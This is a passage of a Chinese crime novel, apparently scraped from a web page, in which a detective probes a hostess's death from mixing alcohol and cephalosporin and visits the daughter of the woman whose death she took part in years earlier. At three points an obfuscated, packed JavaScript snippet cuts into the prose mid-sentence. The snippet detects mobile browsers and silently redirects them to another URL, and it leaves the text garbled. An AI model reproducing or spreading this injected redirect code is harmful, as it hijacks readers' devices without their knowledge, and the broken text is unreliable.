女孩的表情这才稍稍松弛下来,她上下打量了一眼李成植的穿着,问:“要问什么?”
“你跟死者关系怎么样?”
“还行吧。”
“她平时上班经常喝酒?”
“nonono,警察大叔,”Rebacca伸出一根手指左右摇晃,“怎么可能是经常啊,拜托,是每天啊,陪人喝酒就是我们的工作好不好。”
“她醉酒后会吃什么药,你清楚吗?”
“大概就普通的止吐药呗,干这行的基本都吃。”
“这瓶头孢你见过没?”李成植拿出药瓶的照片递给她。
女孩勾头看了一眼,点点头:“对,她前一天刚买的,我陪着去的药店,当时还提醒过她千万别上班期间吃。”
“那么,你去过她家吗?或者换个问题,死者总是带客人回家吗?”
女孩似乎不太愿意回答,过了一会才下定决心似的左右看看,像在确定是否有人偷听,然后向李成植摊开手:“来支烟。”
李成植把烟递过去,她自己掏出火机点燃,吐出一口烟雾后才道:“她真的超级拼。”
“什么意思?工作吗?”
“对啊,就是陪睡啊。”
女孩笑了,把烟叼在嘴里,口齿不清地说道,“我干这行两年了,还是第一次看见她这种,客人稍微勾勾手指就贴过去了,真是有够傻的,为了多挣点业绩,那些又穷又爱装的肥猪她都吃得下。”
“就这个月初吧,有个死肥猪白嫖,没买单从后门溜了,害她被刘经理骂得好惨。她还跟我哭诉来着。”
“这么说,她很缺钱?”
“yes,sir!”
李成植想起刚刚经理讲述的工资待遇,不由得心中疑惑。
周婧每个月两万左右的工资,不算客户给的小费,加上她从父亲和姐姐两处获得的六万元,她的生活应该很宽裕才对,怎么会缺钱?
房租的话,那条老街的地段均价在一千左右,非常低廉。
鉴证人员在死者家中并没有找到什么贵重物品,也排除了超额消费导致拮据的可能性。
“她把钱花在哪里?她有固定的男朋友吗?”
“怎么可能有,她——”
女孩似乎想到什么似的,忽然住了口,歪头看向李成植的眼神里露出不怀好意的笑,“大叔,我有个事儿,你们如果答应,我保证什么都说。”
何骐一脸严肃:“我们在查找证据,不是来跟你谈条件的。”
“诶别,”李成植抬手拦住了他,看向Rebecca,笑容和蔼:“你先说说看。”
“我要去她家里看。”
李成植与何骐对视一眼,转头问道:“为什么呢?”
“不为什么,让我进去我才告诉你们。我知道那边肯定有警察守着,我一个人进不去。”
“没问题。”
在何骐惊讶的目光中,李成植爽快答应了。
5. 遗失物
次日上午八点半。
后座上的Rebecca将手臂搭在半开的车窗上,时不时向骑行而过的学生们吹响口哨。对她来说,坐警车兜风似乎是一件很酷的事情。
带这个女孩前往死亡现场原因很简单,李成植认为,如果死者的某些东西在她本人死亡前后有所不同,这个曾经来过几次的女孩也许能看出点什么。
即便他杀的可能性已经降至一成,为了那两个不合常理的药瓶型号,也值得来看一次。
“大叔,”女孩回过头,冲前座的两人晃了晃手里的烟盒,“来一根吗?”
“不行!”何骐如临大敌,立刻高声制止,“这可是警车!禁止吸烟!”
自从女孩上车,他的神经高度紧绷,在后视镜里持续关注后座的动静,生怕她有什么出格举动。这辆车上载过罪犯,也载过惊慌失措的受害者,但还是头一次载到这么自来熟的调查对象。
“哦。”她意兴阑珊地收起烟盒,顺便摇上了车窗,整个人像泥鳅一样滑回座位里。
“周婧也抽烟吗?”李成植把控着方向盘,随意地问。
“她?不抽。哦,应该说以前抽,出来之后戒了。”
“出来指的是,少管所?”
“不然还能是哪。”
Rebecca歪头看向窗外,此刻,警车在一所中学的校门口停下等待绿灯,几名学生骑着脚踏车在车前飞速掠过,然后无视保安的怒吼和阻拦,赶在迟到铃声响起的前一秒俯冲进校园。
“她之前也是初中生来着。”女孩突然说了这么一句话。
“周婧有跟你说过之前的事情吗?”
“说过一点。”Rebecca用手撑着下巴,注视着窗外的风景,“我知道她上初二的时候犯了事进去过两年。平时她跟我聊的一般都是哪个肥猪有钱啦,哪个四眼鸡抠搜还喜欢揩油之类的。哦,还有她那个小气巴拉的爹,和长舌妇后妈。”
“你知不知道她犯的是什么案子?”
“不知道,她没讲过,但是……”Rebecca歪着头想了一会,说:“有次她喝醉了,跟我说过类似于‘妈的我哪知道她有心脏病,凭什么要我跟那个臭傻逼一起坐牢’这样的话。我就当没听见咯。”
闻言,李成植握方向盘的手微微收紧,“她后来有再跟你提过‘那个人’吗?”
女孩似乎被问烦了,摆了摆手:“啊呀大叔,谁没事老跟认识了两个月的同事说自己坐过牢啊。”
李成植笑了,“确实哈。”
“而且,”女孩嘴角露出一丝讥笑,“我认为你们调查她根本就是浪费时间。”
“哦?为什么这么说?”
“因为周婧很好杀啊。”
女孩的话令李成植差点一脚踩在刹车上,“啊?”
“听说那天晚上她家里门窗都是关上的,那就是密室咯,为了杀她费劲巴力创造一个密室?太搞笑了吧。”
“很有价值的推理啊。”李成植说。
“我是认真的,大叔,你别看我工作上不了台面,但我闲着没事的时候经常看推理剧。”
Rebecca一边说,习惯性掏出烟盒,但在后视镜里看到何骐瞬间瞪来的视线后,又悻悻放回了口袋,接着道:“趁她喝醉回家路上打死,开车拖到南山上,埋个十年八年的都不会被发现。而且也没有亲属会主动报警找,不是很好杀吗?”
“是吗。”
李成植看向前挡风玻璃。榆州市尚未完全开发的十里南山景区,正在视野的尽头处,若隐若现。
***
打开201的房门后,Rebecca便惊呼道:
“好像在拍电视剧啊!”
她之所以发出如此感叹,因为全部家具都披上了半透明白色塑料布,像是防止参观者触摸的样板间,而死者床头贴的明星海报成了整个房间唯一有色彩的部分。
“按你的要求带你来了,怎么样,可以告诉我们了吗?”何骐迫不及待地问。
“我才刚到诶拜托,能不能别这么心急。”
Rebecca翻了个白眼,穿着鞋子走了进去。
时隔两天,呕吐物散发的恶臭气息消散了大半,但屋内的空气仍然算不上清新,她四下打量了一会,忍不住捂起鼻子嘀咕了一声好臭。
李成植以为她会提出什么问题,但并没有,女孩在玄关停留了几秒钟后,便径直穿过餐厅走向发现尸体的地点——死者的卧室。
接着,她伸手去揭盖住床铺的塑料布。
“诶!不行!”何骐连忙阻止,却被李成植拉住,“让她看看,也许能发现什么。”
塑料布被拉下后,露出一整块孤零零的床板,因为棉被和床单枕头一起,都被当做证物移交给了警方暂为保管。女孩盯着床看了一会,小声道:“她就是在这个上面……被发现的?”
“对。”何骐点头。
“床上还有别的东西吗?”
“你指的是什么?”
“嗯……算了。”
她吐了吐舌头,将塑料布再次盖住床板,动作似乎比之前轻了许多。然后退后半步,转身看向床头旁的梳妆台。
这也是随屋出租的原始家具,四方形桌面约有半平大小,正中间立着一个老式的圆形铁皮镜,旁边摆满了各种杂物。自从封锁现场后便没有人动过,一直保持着前天夜里死者回家的模样。
片刻之后,Rebecca拉开了化妆台下的抽屉。
两名刑警不禁张大了嘴巴。
只见并不宽敞的抽屉内部,用隔板划分成了多个小格,每个格子里都竖着插入一只口红,如同商场的货柜般整齐排列。从外观来看,每一只都是崭新的,金属外壳一尘不染,与上层桌面那些随意摆放的、脏兮兮的化妆品格格不入,形成了奇异的对比。
但女孩似乎对此毫不意外,嘟囔了一句:“搞什么嘛,原来真没有……”
何骐忍不住了:“没有什么?你到底在找什么?”
“钱。她欠我五百块没还,我还以为在这能找到呢……是不是都被你们警察拿走了?”
何骐愕然:“你到要我们带你来这就是为了找钱?”
“是啊,不然呢?五百块诶。我一天的提成都没这么多。”女孩理直气壮,“她上周说没钱付房租了,我可怜她才答应借的。”
“没钱付房租……也就是说,周婧除了工作之外还要依靠借款,那她的钱到底花在什么地方?”李成植说,“现在总该告诉我们了吧。”
听到这话,Rebecca露出了意味不明的冷笑,抬起手臂指着一个方向:“花在他身上呗。”
她指的是贴在死者床头的海报。
画面里,一个李成植完全不认识的年轻男子拿着话筒,站在璀璨的干冰舞台上摆出夸张的姿势。上面的呕吐物已经凝固,结成了数个褐色的斑点。
“这人是谁?”
“拜托大叔,NNP组合你都不知道?也太out了吧。”
李成植完全听不懂,感觉像在跟外国人对话,“NNP又是什么?明星吗?”
“当然,现在国内最火的男团,”Rebecca说,“周婧是主唱宁逸的铁血死忠粉。”
“你是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944425|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说,周婧追星,并把所有钱都花在他身上?”
“她啊,到我们那上班之前就欠了一大笔高利贷,说是为了追NNP的行程,又连买了两场演唱会VIP票,钱包完全挡不住。”
“现在小年轻的潮流真是越来越新鲜了,”李成植说,“那么上班之后呢?依然如此吗?”
“她的工资基本都用来还债,所以我才说,她根本没有闲钱去养男人嘛。”Rebecca翻着白眼,“不过,如果追星也算养男人的话,她完完全全就是在倒贴。”
难怪经理表示死者的工作非常努力,原来是这个原因。
李成植想,听Rebecca又说道:“今年年初,宁逸代言了巴宝莉的口红,全套算下来要六千多块钱,所以她拼命接业绩,说什么“要帮哥哥做数据”。我们会所不允许私自带客人外宿,周婧就背着刘经理偷偷把客人带回家,一次能多挣两三百吧,她前前后后攒了半个月。”
“就是这些?”李成植指了指抽屉。
“没错。”Rebecca伸出食指敲了敲,口红管发出清脆的响声,“饭都要吃不起了还买这种东西,真是脑子有泡……诶?”
她忽然顿住了。
“怎么了?”李成植问。
“奇怪,少了一个。”Rebecca指着最里面的格子,里面没有放东西,是空着的。
“你确定原来有二十个吗?”
“她是按照四乘五做的隔板,是二十个。”
“会不会是死者拿去用了?”
“怎么可能,她连包装都舍不得拆,别说用了,供着还差不多。”Rebecca扫视了一圈屋内,嘀咕道:“是不是掉哪了?”
她的视线落在床沿,忽然蹲下去并打开手机闪光灯,将手伸进床底。
李成植这才发现,床底并非实心,而是跟地面存在一个不到十五公分的高度,被垂下的床单遮住了。且现场勘查并未报告此事,所以一直没人在意。
女孩在床底来回照了一会,才悻悻地站起身:“没有,真是奇怪了。前两天她还向我炫耀来着,那时候没少啊。”
前两天,那时候没少……也就是发现尸体的前一天。
这句话在李成植耳边盘旋,忽然之间,他萌生了一个念头。
会不会有人从地毯下拿出钥匙开门,然后藏在了床底?
但再次观察后,他便开始嘲笑自己的愚蠢。
——不可能,没人能做得到。
而且凶手杀人后特地取走一根口红的行为,听上去就很滑稽。极有可能就是死者本人拿的,不过没来得及放回而已,和案件本身无关。
身后,女孩抱怨的声音传来:“没现金的话,能不能把这盒口红抵给我啊,值不少钱呢。”
以及何骐:“这是死者的物品,女士,只能由死者家属决定处理方式。”
“那我的五百块怎么办?靠北,总不能让我去跟她爸要吧!”
李成植听着他们的对话,正在这时,裤子口袋里传来一阵震动,他走到门边,掏出手机准备接听,却发现是短信。
发件人是杨队,内容是:
尽快结案。
***
下午五点整,提交完报告后,李成植走出了位于市政厅的公安大楼。
他本应该直接回家,但心血来潮中途折返,在路边打了辆出租车,对司机报出了一个陌生的地址:
长虹区245号汇芳家园。
这是他拜托同事帮忙翻阅三年前的案卷,在受害人家属信息那一栏找到的住址。
他要去那里探望一个人。
6. 三年后的拜访
下出租车后,李成植看了眼手表,指针显示五点半,距离初中放学还有一段时间。
他抬头环顾四周,思考接下来的去处。汇芳家园的小区门口有一整排商铺,面条、大排档、奶茶店等各类常见餐饮一应俱全,此时正是饭点,陆陆续续有不少食客入座用餐。
“来碗肉丝面。”
李成植走进最靠内的面馆,向老板打了声招呼,在靠窗的位置坐下。从这个角度刚好可以同时观察小区的大门和2号楼的入口。
等待上餐的时候,李成植拿出手机再次确认短信内容:
曲南星,榆州市实中初中部二年级学生,家住长虹区245号汇芳家园,2号楼301室。
看着这个名字,他陷入了沉思。
距离案件已经过去了三年,那个背着书包站在雪地里的小女孩已经从小学五年级升上初二,不知她是否还会对当年负责此案的刑警留有印象。
大概已经完全不记得了,因为自当夜调查现场之后,李成植再也没有跟她见过面。
那个案子由于其中一名嫌疑人主动自首,侦破过程极其简单,警方很快便逮捕了逃回家的其余三名嫌犯。
主犯为榆州市实验中学初中部的初二学生,另外两名男嫌犯是他的同班同学,女嫌犯则是他们低一级的学妹,与主犯是男女朋友关系。
据主犯交代,他钱包被偷了心情不好,放学后看到被害人在其经营的关东煮摊子上翻钱找零,感到更加烦躁,便和他的两个朋友打算实行抢劫。
担心人手不够,他们又威胁另一名同学加入帮忙放风,也就是自首的那个男生。
按主犯的话说,“就是看那女的不顺眼而已,谁知道她有心脏病,真倒霉”。
他们抢走的、被害人的钱袋,后来在一名从犯家中被找到,里面仅有两百六十五元钱,都是碎钞和硬币。
更令李成植感到讽刺的,是主犯的家境。
他住在被称为富人区的井泽区,父亲是一家上市医疗器械公司的执行董事,年收入在两百万元以上。
四人都是未成年,且未满16周岁,案件审理完毕后,经上级指示,没有公开嫌疑人身份,而是迅速移交给了检察院。
李成植一直关注着后续。据在井泽分局工作的朋友说,被害人的妹妹跑去主犯家讨要说法,与家中老人发生争执,导致老人突发脑梗,她因故意伤害罪被刑事拘留。
该案发生在井泽,超出李成植的管辖范围,个中细节并不清楚。
当年五月初,“129建业路未成年过失杀人案”正式开庭。案件并未公开审理,后续信息也并未向大众公布,他便去公安内网上查找了判决结果。
结果令人大失所望,但也在预料之中:
自首者因受人胁迫,且有主动施救行为,被判无罪释放。
两名从犯则分别判处两年六个月和三年六个月的有期徒刑,即便是策划这起案件的主谋,刑期也只有短短四年而已。
而受害人的女儿自幼父亲身故,母亲去世、小姨也入狱后无依无靠,根据档案记录,她最终由姑姑一家收养。
也许那个女孩已经走出来了。望着小区门口渐次亮起的路灯,李成植熄灭了手机屏幕,心想。
毕竟已经过去了三年。
等到手表指针指向六点半,面前的汤碗都凉透了,李成植还是没看到他要等的人。
李成植感到很奇怪,榆中的初中部五点四十准时放学,这个小区距离学校仅有二十分钟步程,但在这段时间内进入小区的,连一个穿初中校服的女生都没有。
难道我看漏了?
李成植站起来,把钱放在桌上,准备直接上楼去问问看。
在进入2号楼前,他先在小区超市里买了一箱牛奶和一提水果。他不清楚初中女生爱吃什么,于是选了大概率不会出错的草莓和金芒。
提着这两袋东西,李成植来到301门口,按下了门铃。
屋内很快传来应答:“来了。”
话音刚落,开锁的声音响起。门开了,一个穿着居家服的中年女人站在玄关处,手还按在门把上。
她应该就是那女孩的姑妈。
“你好。”
女人似乎完全没有想到门外的人是他,吓了一跳,目光随即充满了警惕:“你是?”
“不好意思忘记自我介绍,我姓李,是市公安局的刑警,这是我的证件。”
一般听到来客是警察,对方或多或少都会流露出吃惊或者紧张的表情。但令李成植感到意外的是,这个女人不仅没有吃惊,也没有去看他出示的警察证,反而堆起了笑容,拉开大门做出邀请的手势:“原来是您啊,不好意思没认出来,快请进。”
见李成植站着没动,女人忙又说道:“他今晚值班,不在家。”
“她是……”
似乎哪里出了问题。
“昊俊他今晚值夜班,”女人重复道,看向李成植的眼神逐渐疑惑,“您不是他领导吗?不是来找他的吗?”
李成植说:“抱歉,好像您弄错了,我并不是找这个人。”
女人皱了皱眉,转头看向餐厅的方向,抬高声音道:“孩他爸,你来一下。”
屋内传来桌椅拖动的声音,玄关的屏风挡住了李成植的视线,但很快,一个秃顶的中年男
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944426|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人走了出来,穿着女人同款居家服。
“您是警察吧,请问您找谁?”这男人问,一双绿豆大的眼睛在眼镜片后上下打量李成植。他手里还拿着报纸,大概是有一边吃饭一边看报的习惯。
“曲南星。她住在这里对吧?两位想必是她的姑姑和姑父吧。”
两人对视一眼,然后异口同声道:“是啊,你找她有事?”
“可以进来谈吗?”李成植问。这种老楼的隔音效果很差,说不定正有吃完晚饭闲着没事的邻居趴在门边偷听,会给那女孩带来麻烦。
“当然可以,您请进。”
关上门后,李成植才说明了来意:“其实我是三年前129那个案子当时的负责人,刚好路过这里,想来看看她现在过得怎么样。”
女孩的姑妈露出恍然大悟的表情,随即笑了:“原来是这样,真难为您费心。还带这些东西来,您太客气了。”
她接过牛奶和水果,小心地放在鞋柜台上。
“还没放学吗?”
李成植看了看周围,室内大约只有90平,但是三室一厅的构造,看上去就显得很拥挤。玄关旁是客厅,后面是连通厨房的餐厅,桌上还放着没吃完的饭菜和碗筷。
“南星今天没去上学,”姑妈帮李成植拿来鞋套,回答道:“她得了重感冒,请病假了。”
“哦,那她现在在家?”
“也不在家。”姑妈笑着说,“她表哥——就我儿子昊俊,今晚值夜班,她帮忙送晚饭去,估计,”
她回头看了眼墙上的时钟:“还有几分钟就回来了。”
“这样啊,那我在这等等她吧。”
姑父端着茶水走了过来,“昊俊在派出所工作,所以您一说您是市局的领导,我们都以为——”
就在这时门铃响了,打断了他的话。
“肯定是南星回来了。”姑妈说着,扭开了门把手。
李成植向玄关看去。
在楼道感应灯频频闪烁下,缓慢开启的铁门外,站着一个女孩。
她的个头依然瘦小,和三年前的外貌相差并不大,唯一的区别就是从麻花辫变成了马尾。
“快进来,这位是市局来的警察,你可能不记得了,他就是当时负责你妈那个案子的警察,这次专程来看望你的。”
女孩抬起头,目光与李成植的视线交错。
那双眼睛和三年前一样明亮,仿佛在昏暗的楼道里闪闪发光。
想到对方大概根本不记得自己,就在李成植准备开口自我介绍的时候,女孩突然说话了:
“李警官,好久不见。”
李成植吃了一惊。
7. 幼鸟
二人在客厅就坐,姑妈端着餐盘走了过来。“你们吃着水果慢慢聊,不着急。”
“谢谢姑妈。”女孩说。
李成植注意到她说话时带着明显的鼻音,看来感冒还没有好。
餐盘放在茶几上,里面摆着切成片的苹果和梨,并没有李成植带来的那些水果。
瞥了眼虚掩的主卧房门,李成植向女孩说道:“如果方便的话,我们出去聊吧。”
“要走吗?”女孩有些惊讶。
李成植笑着解释:“我七点半还有个会要赶回去开,坐在这聊恐怕会迟到了。”
“好。”女孩站起身,“我送您。”
听闻客人刚来就要走,夫妻俩立即走出卧室挽留,但都被李成植婉拒,他表示只要跟曲南星聊几句就好,顶多到小区门口的事。
两分钟后。
看了眼三楼窗户里透出的灯光,李成植回过头,向不远处热闹的美食街示意:“你还没吃饭吧,想吃什么?我请客。”
“您怎么知道?”女孩问。
“因为我是警察,警察擅长推理啊。”李成植开玩笑道。
他没说出的是:刚刚餐桌上共摆有三副碗筷,其中两副都只剩碗底的少量米粒,而最后一只盛有半碗饭,没有动过的迹象。
“谢谢您,我还是回去吃吧,姑姑留饭了。”女孩说。
“那咱们去喝杯奶茶吧。”李成植抬脚迈向街边的奶茶店,“听说这是现在年轻人里正流行的饮料,我一直想试试看。”
这次女孩没有拒绝,默默跟上了他。
李成植点了两杯珍珠奶茶,递给女孩后,两人沿着小区门口的林荫道向前走去。
“真够甜的。”李成植喝了一口,不禁龇牙咧嘴地摇摇头,“还是年轻好啊,到了我们这把年纪,喝点小糖水都得提前备一瓶胰岛素。”
女孩露出笑容,贴着塑料封膜的纸杯在手里轻轻摇晃,“您不习惯吧,其实我平时也很少喝。”
气氛似乎算得上融洽,是时候切入正题了,于是李成植说道:“最近学习很辛苦吧?是不是期末考试就快到了?”
女孩“嗯”了一声,说:“还行,应该没问题。”
“哦?这么有自信。看来你的成绩很好啊。”
李成植把奶茶杯子换到左手,表明不打算再喝第二口了,否则回家恐怕要被妻子数落,毕竟他去年体检刚查出来高血糖和高血脂。
“期末考的难度通常都不太高,可能是……想让学生们过个好年吧。”女孩微笑着说。
“时间过得真快。”李成植停顿了一下,然后说:“上次见你还是个小学生,已经过去好久了啊。”
“是啊。”女孩低了下头,声音变得很平淡,“已经三年了。”
陷入了短暂的沉默。
李成植习惯性想伸手去掏口袋里的烟盒,但很快意识到面前还有个孩子,便就此作罢。沉吟片刻后,他说:“其实我这次来,还有件事情想告诉你。”
“是什么?”
“周婧。你还记得这个人吗?”
李成植认为她肯定不会忘记,毕竟她连自己的名字都还记得。
女孩不出所料露出了惊讶的表情,似乎是过去的、努力抚平的伤痛因为这个名字的出现而再次苏醒,她的脸色黯淡下来,视线也转向一边。
“记得,是……那四个人之一。她怎么了吗?”
“她死了。”李成植简短地说。
气氛再一次陷入沉默。
见女孩不说话,李成植的内心不禁开始动摇,是否应该将周婧的死亡告诉她?这样做会不会打破她好不容易维持的平静生活?
更重要的是,周婧死于意外而非审判。得知此事对受害人家属来说,能算得上是一种抚慰吗?
“是意外吗?”女孩忽然发问。
“是意外。”李成植犹豫了片刻,最后还是决定告知实情,“死因是酒后误吃了头孢,就发生在前天夜里。”
“这样啊。”女孩说。
在面馆等待的时候,李成植曾预想过女孩的反应,根据过往的办案经验,得知嫌疑人死亡后的家属可能会出现过激情绪,比如爆发痛哭或破口大骂。但目前看来这些都不会发生。
她似乎很平静地接受了这件事。李成植不禁松了口气。
“我听说,她出狱之后在一家夜总会上班。所以是工作导致的吗?”
“看起来是这样。”李成植答道,“不过,你是怎么知道她的事情?”
“表哥告诉我的。他在附近的派出所当辅警。”
这很合理,派出所警察极有可能在参与案件处理时得知了相关信息。商务会所这种地方,在公安档案内留名的几率远比普通单位高得多。
李成植说:“周婧的家庭也比较复杂,母亲早逝,父亲再婚,她出狱后跟家里人彻底断了联系。我们也调查过她的社会背景,但是她接触社会才半年不到,跟人结仇的可能性很低。”
女孩点了点头,似乎在思考,过了一会儿才开口:“您刚刚说,‘看起来是’,难道还有别的可能吗?除了意外之外?”
李成植一愣,随即答道:“没这回事,已经结案了。”
“这么快啊。”
“毕竟没有什么疑点啊,如果是杀人案处理起来就麻烦多喽。”
“也是,”女孩说,“如果是杀人案的话,您现在应该很忙才对,没有时间来找我聊天。”
说着,李成植的脚步停住了。
“您怎么了?”
女孩见他没有跟上,便也停下脚步,回头看他。
“其实,也不能说完全没有疑点。”李成植摊开了右手,露出苦笑。
他把药瓶的尺寸相差巨大的事情告诉了曲南星,同时补充说明了房东和死者同事的证词。案子已经宣告完结,所以这些内容对他来讲并非保密性质的档案,而仅仅是类似小说中侦探出于职业习惯做出的揣测而已。
“那么您所说的疑点是什么呢?”女孩好奇地睁大了眼睛,“狗没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944427|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叫,房间也没有可以藏人的地方,死者的状态,这些都证明她是自己服下药物的,并没有受人胁迫,不是吗?”
“其实有藏人的地方。”
“难道是说……”
“对,是床底。”李成植说,“我所能推理出的唯一一种他杀可能,就是凶手提前在地垫下拿到钥匙,打开门后把钥匙放回,然后把事先准备好的头孢胶囊换进止吐胶囊的药瓶里,最后藏进床底,一直等到死者回家。”
“死者主动服下头孢后,凶手再从床底爬出,将药物换回,再从正门离开。整个过程没有任何冲突,房东的狗自然不会叫。”
“原来如此,这样确实可以说得通。”女孩若有所思地点点头。
“但这个推理存在三个巨大漏洞。”
“第一,床底的高度太窄,只有十五公分,普通人根本不可能钻得进去。”
“第二,这两种药物的胶囊皮颜色完全相反,一个是绿色另一个是红色,死者就算喝多了头晕眼花,也没办法保证她会忽视这个异样。”
“第三,就是死者同事说的,这个手法对于死者的生活状况来说太麻烦了,但凡有一步出现漏洞,死者发现有人藏在床底,凶手就完蛋了。”
李成植长出一口气,如果此刻他在抽烟的话,面前应该是一片白色烟雾。他说:“所以不成立,结论还是意外。你就当刚刚那段话是我这个古怪大叔的古怪推理好了。”
“不是的,是精彩的推理。”女孩表情认真地看着李成植,“我完全没有想到还有这种可能存在,您真的很棒。”
“是么?那谢谢你的夸奖。”李成植哈哈一笑。
再往前走便是十字分叉路口,李成植在红绿灯前停下脚步,对女孩说:“就送到这吧,天太冷了你赶紧回去,小心别感冒加重了。”
女孩点了点头,“谢谢您这么冷的天还来看我。路上滑,您走的时候小心。”
“好,下次等你放寒假了我们再聊。”
女孩向李成植挥挥手,朝小区正门的方向走去。
走出几步后,忽然又回头:“李警官,您觉得,她出狱后有悔过之心吗?”
“……”
这个问题令李成植陷入沉默。
据他所得的信息,答案是完全没有。
他说不出口。
等了一会,女孩似乎露出了笑容,隔着太远李成植看不清楚,只听见她说道:“谢谢您。”便转身离去。
李成植在原地站了一会,从口袋里摸出烟,点着火叼进嘴里。
有那么一瞬间,也许是职业病驱使,他竟然想开口询问女孩前天晚上在哪里。幸好他脑子比嘴快,话到嘴边立刻咽了下去,同时又狠狠斥责自己的愚蠢和残忍。
还能在哪呢,初中生当然是在家里写作业或者睡觉了。他不禁自嘲。
烟雾缭绕中,李成植凝视着女孩的背影,她正在穿过小区保安亭,即将消失在视野里。
那背影瘦弱单薄,像一只营养不良的幼鸟。
8. 网吧工作者
时钟的指针走过了七点,陆陆续续有客人走进店内。
过来的多半是附近中小学的学生,放学后在家里随便吃个晚饭,便心照不宣地相约各大网络游戏内碰头。
这家网吧位于榆州中学后门的巷子里,地理位置隐蔽,不容易被老师家长发现,加上网费便宜,成功获得了学生们的青睐。
唯一的缺点是设施陈旧,有时会出现电脑死机的情况,每当这时,熄灭的屏幕前便会映照出一张因崩溃而扭曲的年轻面孔,伴随着“我x你大爷”之类的怒吼。
为最后一位客人办理好登记手续后,金振宇无聊地低下头,继续注视着面前的电脑。
屏幕上正在播放德国电影,《窃听风暴》,是金振宇在视频网站上随便点开的,他一点兴趣都没有。
他也想跟其他人一样,打开游戏网页,头戴耳机,酣畅淋漓地来一把魔兽或星际。
可是作为网管,维护网吧运营和提供必要的软件服务是他的工作,如果在上班期间偷偷玩游戏,被发现的话,后果会很惨。
“来包烟。”
声音自上方传来。金振宇抬起头,柜台外站着一个穿吊带短裙的女孩,大浓妆画的眼睛不是眼睛鼻子不是鼻子,正向他伸出摊开的右手。
这女孩是网吧老客户,似乎在附近职业高中读书,从两年前开始就经常来这里上网。
“要哪个?”
“老规矩,双喜。”
金振宇打开柜台下的抽屉,从里面摸出一包红色烟盒扔在桌上,“八块。”
“涨价了?”女孩瞪起眼睛,假睫毛仿佛下一秒就要掉下来,“上周不是才七块吗?”
“刚涨的。”金振宇眼皮都懒得抬,“要不要?”
“我日你妈奸商。”女孩骂骂咧咧,但还是从口袋里抽出十块钱纸币,“找钱。”
金振宇接过纸币,手指在电脑旁的收银机上敲了几下,哗啦一声钱盒弹出,他摸出两枚硬币递了过去。
等女孩身上的劣质香水味从空气里消失后,金振宇才百无聊赖地抬起眼睛,正儿八经地扫了一眼背影。她的走路姿势很夸张,两只胳膊在身侧甩来甩去。
真难看,像个大扑棱蛾子。我之前怎么会暗恋这么个玩意?
金振宇暗想,视线却不自觉落到了女孩裸露的后背和光溜溜的大腿上。
一个月前,这女孩还是金振宇梦中情人一般的存在,甚至还因为找零时趁机摸手被对方怒骂臭流氓。但现在,他对她已经完全没有兴趣了。
至于原因……
想到这里,金振宇不禁抬头看向网吧的门口。
七点钟了,“她”今天还会来吗?
冷不丁肩膀被人拍了一下。金振宇回过神来,转头发现是跟自己搭班的小潘,正一脸疑惑地看着他。
“搞毛啊,吓老子。”金振宇打掉他的手。
“你最近怎么老发呆?”小潘在他身边的椅子上坐下,顺手把收银机的钱盒抽屉关上,问道:“咋回事?”
“没事,就是累了。”金振宇伸了个懒腰,整个人向后仰去。
“是不是你家里又出啥幺蛾子了?”
“那俩老东西能有什么幺蛾子。”金振宇保持着半后仰的姿势,眼睛也没睁开,“我出来之后就没管过我,生活费都不给了现在。”
小潘若有所思地点点头。
今年三月,金振宇从就读不到一年的某中专退学,开始在这家网吧打工。
至于退学原因,金振宇自称是学校同学不知从哪听说他有案底,纷纷开始远离他,带有莫名探究和敌意的眼光让他非常不爽。还有就是,在少管所度过的那三年半被迫晨起读书的生活,令他对那些所谓的文化知识恶心透顶,再看一眼课本都想吐。
家里人都反对他脱离学校,但金振宇直接跑去校长办公室,把伪造家长签名的退学申请表拍到桌上,朝校长水杯里吐了口痰,然后扬长而去。
家人中他唯一畏惧的父亲,也因前几年金振宇犯案一事对他彻底失望,选择跟妻子一起前往上海打工挣钱,留儿子跟年迈的爷爷奶奶在榆州生活。两位老人面对这个从小被惯坏了的大孙子,根本没有管束能力,只好放任他胡来。
于是金振宇在几个月内迅速完成了加入帮派、谋取职位、赚到生活费等一系列同龄少年想都不敢想的骚操作。
入伙时间短,年龄又小,他的职位仅仅是在这家老旧的小网吧里,当一个整日无所事事的网管,俗称帮忙看场子。每个月死工资两千,勉强够他日常开销。
“这周六我请假,跟笑哥说过了,你记得的吧?”小潘还在耳边絮絮叨叨。
“知道。”
“那天刚好是16号,‘打老虎’,你一个人镇场子没问题吧?”小潘不死心地提醒道,“要不我喊大斌调班来帮你?”
“打老虎”是内部暗号,也是帮派活动的重要日程,由笑哥选定在每月的16号。
